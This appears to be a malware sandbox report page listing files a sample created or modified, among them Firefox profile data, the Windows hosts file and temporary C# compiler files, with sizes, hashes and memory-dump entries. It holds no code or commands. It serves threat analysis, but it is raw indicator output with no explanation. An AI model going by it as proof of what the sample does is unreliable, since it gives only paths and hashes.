79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

Filesize
17.8MB

MD5
daf7ef3acccab478aaa7d6dc1c60f865

SHA1
f8246162b97ce4a945feced27b6ea114366ff2ad

SHA256
bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e

SHA512
5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\prefs-1.js

Filesize
10KB

MD5
5b50786944d5f2d842575007fd457007

SHA1
bc80ab626838cbb30cbf726fb543db4c35c1a90b

SHA256
cf02f2cf4e87b57e6cda4904956adbeffadc928699141da676ae8c577754700f

SHA512
eb0906399e6f98b41660ab54302f16d83814312e5afead44ca5512a65ddbaff42297986d36741e430d13024d77928979c893b9537f39ccdc7ec823a29885a072

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\prefs.js

Filesize
10KB

MD5
51620a3de53fa153db6c0628ae413c3b

SHA1
049c078a6f52ba989dc4dfb7def5350a0fb50536

SHA256
8da6285d4ab27fc8fdd4ef0833fffedb6753310a51f60e359551161ad4ff6c6f

SHA512
7fc5dfa4620d839330ed9f216f901240bdec71f8baae86bb8a4bc57aade5e89491c4db001ea7102b1e2852ab89fae457b66bc3b08746318b91c6557a4064e514

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\sessionstore-backups\recovery.baklz4

Filesize
2KB

MD5
ebf5601d4ee484c72a6a230009937aa4

SHA1
b75293a0b65f3a80025076c94f9a58fe1dc289c9

SHA256
79950a0605ae404076514aef4a76ca9db0effad26f0cc5af92522008154f0340

SHA512
c54788893ec3f66ca8803bf8236974402cf3433807a2261623c5eee3c9d415e62a92a32189f3892eea467604b95ed509451cab912c514e644a4d3af2c84bbfc8

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\sessionstore-backups\recovery.baklz4

Filesize
2KB

MD5
387f45c39b0748c946b65fe40b2ac3e5

SHA1
40c36b7c280da2ac74866ee19e6832f379884076

SHA256
7906501d62c0c92f015a3feb9dec8e6fb369d9fa788462cff9f344d351b18e50

SHA512
238670b9e76cf477fd80d84ae4896cf66ccbd4fa3230c3f386e600f13e1a19b15cdcb5244949ce14cdf511b519c3bb4c19c43d8a47f13585095d4b5125e5081c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\sessionstore-backups\recovery.baklz4

Filesize
2KB

MD5
fec4b424f73295e5ae225316c4fd47b6

SHA1
e14aca6f852d523abf7b94d0cfdc0d5fe721d11e

SHA256
af54e298b7d999652c87141ab657b71b0307866eaab932503ae92b527637fbdd

SHA512
cee702ecb2d9bf523f0d825e4b0a7a3fc8ee513eb2a1eae68c5933b073ca42906bffcef18d61ed977a8283e7d4c0fb6ea14c0f80c21bdeac158bf797725c3885

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
384KB

MD5
520d981c039299f26918cd4d594314ab

SHA1
1386ae14958f86e08f6ecfd7fa9f4a10640bd417

SHA256
2515bfad6505837fe122ebc7558aa96f97f43c8d84cfb250b2ae6e1a1eb97c16

SHA512
7c08555b893a76d68aef9be3fab52833c0641509ff60b2d13b96125a0a68869f862f85b3309b19eca89271f94d5aab465e70b7f3e7545403d17f8e3f33499765

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\buk2aegh\CSCBFA282C7CF004DDDBA29715BB02B94FC.TMP

Filesize
652B

MD5
5c5153c8257c9345be59c76af5adb039

SHA1
f1bc472d7daad39a830ad70c89ded70e38a24897

SHA256
ca73c9cca822f209e776b9815d77d15bb277f6800051c3c6156cb9d915d5e0e4

SHA512
137e2e0adaf7cb9fbcad079bb62dfc28f6b6e7beebeed359d886e168e016cecec1be748b23a75e2e4ff0f7966ffa768e05c64f271b1d7b3be086e51aef4e5ec0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\buk2aegh\buk2aegh.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\buk2aegh\buk2aegh.cmdline

Filesize
607B

MD5
9aa84fa3b78b5fdd4b46e6b89a65392a

SHA1
cc6b21be1032df12fe1751832ac40f2f3b343dde

SHA256
db60faab156440f782182221fed859452d7b6a696cd5493569cc40366f2f6c71

SHA512
989619edcfda95d967a9a1facd4778a982d178eadeb189e1f3a3b90acac8cdfc7d5191087b05eae07b38f3b14e8da2a334faa6e71a6fc645d9ff08848eb675cb

Download Submit
memory/956-90-0x000001F0D9670000-0x000001F0D9692000-memory.dmp

Filesize
136KB

Download
memory/1212-496-0x0000017C43400000-0x0000017C43408000-memory.dmp

Filesize
32KB

Download
memory/2828-343-0x00007FFCDC160000-0x00007FFCDC16D000-memory.dmp

Filesize
52KB

Download
memory/2828-163-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp

Filesize
184KB

Download
memory/2828-348-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp

Filesize
52KB

Download
memory/2828-347-0x00007FFCDAE70000-0x00007FFCDAE84000-memory.dmp

Filesize
80KB

Download
memory/2828-346-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp

Filesize
3.5MB

Download
memory/2828-345-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp

Filesize
736KB

Download
memory/2828-344-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp

Filesize
184KB

Download
memory/2828-338-0x00007FFCE4360000-0x00007FFCE436F000-memory.dmp

Filesize
60KB

Download
memory/2828-342-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp

Filesize
100KB

Download
memory/2828-341-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp

Filesize
1.4MB

Download
memory/2828-340-0x00007FFCDB730000-0x00007FFCDB749000-memory.dmp

Filesize
100KB

Download
memory/2828-339-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp

Filesize
180KB

Download
memory/2828-337-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp

Filesize
144KB

Download
memory/2828-336-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp

Filesize
5.9MB

Download
memory/2828-326-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp

Filesize
140KB

Download
memory/2828-25-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp

Filesize
5.9MB

Download
memory/2828-48-0x00007FFCE4360000-0x00007FFCE436F000-memory.dmp

Filesize
60KB

Download
memory/2828-47-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp

Filesize
144KB

Download
memory/2828-302-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp

Filesize
1.4MB

Download
memory/2828-54-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp

Filesize
180KB

Download
memory/2828-60-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp

Filesize
1.4MB

Download
memory/2828-66-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp

Filesize
184KB

Download
memory/2828-71-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp

Filesize
3.5MB

Download
memory/2828-75-0x00007FFCDAE70000-0x00007FFCDAE84000-memory.dmp

Filesize
80KB

Download
memory/2828-74-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp

Filesize
5.9MB

Download
memory/2828-77-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp

Filesize
144KB

Download
memory/2828-72-0x000001AEB57F0000-0x000001AEB5B65000-memory.dmp

Filesize
3.5MB

Download
memory/2828-80-0x00007FFCCAE90000-0x00007FFCCAFAC000-memory.dmp

Filesize
1.1MB

Download
memory/2828-78-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp

Filesize
52KB

Download
memory/2828-70-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp

Filesize
736KB

Download
memory/2828-65-0x00007FFCDC160000-0x00007FFCDC16D000-memory.dmp

Filesize
52KB

Download
memory/2828-64-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp

Filesize
100KB

Download
memory/2828-59-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp

Filesize
140KB

Download
memory/2828-57-0x00007FFCDB730000-0x00007FFCDB749000-memory.dmp

Filesize
100KB

Download
memory/2828-92-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp

Filesize
140KB

Download
memory/2828-91-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp

Filesize
180KB

Download
memory/2828-119-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp

Filesize
1.4MB

Download
memory/2828-296-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp

Filesize
5.9MB

Download
memory/2828-349-0x00007FFCCAE90000-0x00007FFCCAFAC000-memory.dmp

Filesize
1.1MB

Download
memory/2828-297-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp

Filesize
144KB

Download
memory/2828-162-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp

Filesize
100KB

Download
memory/2828-231-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp

Filesize
3.5MB

Download
memory/2828-232-0x000001AEB57F0000-0x000001AEB5B65000-memory.dmp

Filesize
3.5MB

Download
memory/2828-226-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp

Filesize
736KB

Download
memory/3056-562-0x00007FFCCB740000-0x00007FFCCB76E000-memory.dmp

Filesize
184KB

Download
memory/3056-618-0x00007FFCDB510000-0x00007FFCDB51D000-memory.dmp

Filesize
52KB

Download
memory/3056-371-0x00007FFCC9B60000-0x00007FFCCA148000-memory.dmp

Filesize
5.9MB

Download
memory/3056-507-0x00007FFCDADF0000-0x00007FFCDAE09000-memory.dmp

Filesize
100KB

Download
memory/3056-565-0x00007FFCCAF70000-0x00007FFCCB028000-memory.dmp

Filesize
736KB

Download
memory/3056-564-0x00007FFCCA150000-0x00007FFCCA4C5000-memory.dmp

Filesize
3.5MB

Download
memory/3056-567-0x00007FFCD7AD0000-0x00007FFCD7AE4000-memory.dmp

Filesize
80KB

Download
memory/3056-580-0x00007FFCD8330000-0x00007FFCD8354000-memory.dmp

Filesize
144KB

Download
memory/3056-579-0x00007FFCC9B60000-0x00007FFCCA148000-memory.dmp

Filesize
5.9MB

Download
memory/3056-593-0x00007FFCCAA70000-0x00007FFCCAB8C000-memory.dmp

Filesize
1.1MB

Download
memory/3056-594-0x00007FFCDB510000-0x00007FFCDB51D000-memory.dmp

Filesize
52KB

Download
memory/3056-585-0x00007FFCCB030000-0x00007FFCCB1A3000-memory.dmp

Filesize
1.4MB

Download
memory/3056-605-0x00007FFCC9B60000-0x00007FFCCA148000-memory.dmp

Filesize
5.9MB

Download
memory/3056-619-0x00007FFCCAA70000-0x00007FFCCAB8C000-memory.dmp

Filesize
1.1MB

Download
memory/3056-630-0x00007FFCCAF70000-0x00007FFCCB028000-memory.dmp

Filesize
736KB

Download
memory/3056-629-0x00007FFCCB740000-0x00007FFCCB76E000-memory.dmp

Filesize
184KB

Download
memory/3056-628-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp

Filesize
52KB

Download
memory/3056-627-0x00007FFCDADF0000-0x00007FFCDAE09000-memory.dmp

Filesize
100KB

Download
memory/3056-626-0x00007FFCCB030000-0x00007FFCCB1A3000-memory.dmp

Filesize
1.4MB

Download
memory/3056-625-0x00007FFCCB770000-0x00007FFCCB793000-memory.dmp

Filesize
140KB

Download
memory/3056-624-0x00007FFCDAE70000-0x00007FFCDAE89000-memory.dmp

Filesize
100KB

Download
memory/3056-623-0x00007FFCD5B30000-0x00007FFCD5B5D000-memory.dmp

Filesize
180KB

Download
memory/3056-622-0x00007FFCDC160000-0x00007FFCDC16F000-memory.dmp

Filesize
60KB

Download
memory/3056-621-0x00007FFCD8330000-0x00007FFCD8354000-memory.dmp

Filesize
144KB

Download
memory/3056-620-0x00007FFCCA150000-0x00007FFCCA4C5000-memory.dmp

Filesize
3.5MB

Download
memory/3056-372-0x00007FFCD8330000-0x00007FFCD8354000-memory.dmp

Filesize
144KB

Download
memory/3056-617-0x00007FFCD7AD0000-0x00007FFCD7AE4000-memory.dmp

Filesize
80KB

Download
memory/3056-373-0x00007FFCDC160000-0x00007FFCDC16F000-memory.dmp

Filesize
60KB

Download
memory/3056-468-0x00007FFCCB030000-0x00007FFCCB1A3000-memory.dmp

Filesize
1.4MB

Download
memory/3056-416-0x00007FFCCB770000-0x00007FFCCB793000-memory.dmp

Filesize
140KB

Download
memory/3056-413-0x00007FFCDAE70000-0x00007FFCDAE89000-memory.dmp

Filesize
100KB

Download
memory/3056-392-0x00007FFCCAA70000-0x00007FFCCAB8C000-memory.dmp

Filesize
1.1MB

Download
memory/3056-390-0x00007FFCDC160000-0x00007FFCDC16F000-memory.dmp

Filesize
60KB

Download
memory/3056-391-0x00007FFCDB510000-0x00007FFCDB51D000-memory.dmp

Filesize
52KB

Download
memory/3056-388-0x00007FFCD8330000-0x00007FFCD8354000-memory.dmp

Filesize
144KB

Download
memory/3056-389-0x00007FFCD7AD0000-0x00007FFCD7AE4000-memory.dmp

Filesize
80KB

Download
memory/3056-384-0x00007FFCCB740000-0x00007FFCCB76E000-memory.dmp

Filesize
184KB

Download
memory/3056-387-0x00007FFCCAF70000-0x00007FFCCB028000-memory.dmp

Filesize
736KB

Download
memory/3056-385-0x00007FFCC9B60000-0x00007FFCCA148000-memory.dmp

Filesize
5.9MB

Download
memory/3056-386-0x00007FFCCA150000-0x00007FFCCA4C5000-memory.dmp

Filesize
3.5MB

Download
memory/3056-382-0x00007FFCDADF0000-0x00007FFCDAE09000-memory.dmp

Filesize
100KB

Download
memory/3056-383-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp

Filesize
52KB

Download
memory/3056-381-0x00007FFCCB030000-0x00007FFCCB1A3000-memory.dmp

Filesize
1.4MB

Download
memory/3056-380-0x00007FFCCB770000-0x00007FFCCB793000-memory.dmp

Filesize
140KB

Download
memory/3056-379-0x00007FFCDAE70000-0x00007FFCDAE89000-memory.dmp

Filesize
100KB

Download
memory/3056-378-0x00007FFCD5B30000-0x00007FFCD5B5D000-memory.dmp

Filesize
180KB

Download
memory/4544-269-0x0000022337310000-0x000002233752C000-memory.dmp

Filesize
2.1MB

Download
memory/4624-205-0x0000028C2E6C0000-0x0000028C2E6C8000-memory.dmp

Filesize
32KB

Download
memory/6036-631-0x000001403D330000-0x000001403D340000-memory.dmp

Filesize
64KB

Download